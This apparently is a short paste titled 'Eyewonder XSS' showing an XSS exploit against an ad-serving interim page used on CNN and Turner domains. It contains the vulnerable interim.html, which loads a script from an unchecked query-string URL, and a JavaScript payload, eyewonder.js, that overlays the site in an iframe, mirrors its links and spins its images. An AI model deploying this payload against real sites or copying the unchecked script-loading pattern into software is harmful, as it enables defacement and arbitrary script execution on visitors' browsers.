Eyewonder XSS

eyewonder.js

document.write('<style type="text/css">body{padding); margin:0}</style>');
document.write('<iframe id="iwonder_hack" src="http://' + location.host + '/" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>');
setTimeout(function(){
    var frmdoc = document.getElementsByTagName('iframe')[0].contentWindow.document
        ,rotation = 0
        ,links = frmdoc.getElementsByTagName('a')
        ,images = frmdoc.getElementsByTagName('img')
        ,props = ['transform', 'WebkitTransform', 'msTransform', 'MozTransform', 'OTransform']
        ,transform = function(elem, trans) {
            for (var i = 0; i < props.length; i++) {
                if (typeof elem.style[props[i]] != "undefined") {
                    elem.style[props[i]] = trans;
                    return;
                }
            }
        };
    for (var i = links.length - 1; i >= 0; i--) {
        links[i].style.display = 'inline-block';
        transform(links[i], 'scaleX(-1)');
    }
    setInterval(function() {
        rotation++;
        for (var i = images.length - 1; i >= 0; i--) {
            transform(images[i], 'rotate(-' + (rotation) +'deg)');
        }
    }, 50);
}, 1000);

interim.html

<script language="JavaScript">
	var cnnDocDomain = '';
	if(location.hostname.indexOf('cnn.com')>0) {cnnDocDomain='cnn.com';}
	if(location.hostname.indexOf('turner.com')>0) {if(document.layers){cnnDocDomain='turner.com:'+location.port;}else{cnnDocDomain='turner.com';}}
	if(cnnDocDomain) {document.domain = cnnDocDomain;}

    var query = window.location.search;
   	var adUrl = query.substring(5, query.length);
   	var clickthru;
   	var failclickthru;	
	document.write('<s'+'cript language="JavaScript" src="');
	document.write(adUrl+'"></s'+'cript>');
</script>

Thanks for helping me out with this week's homework assignment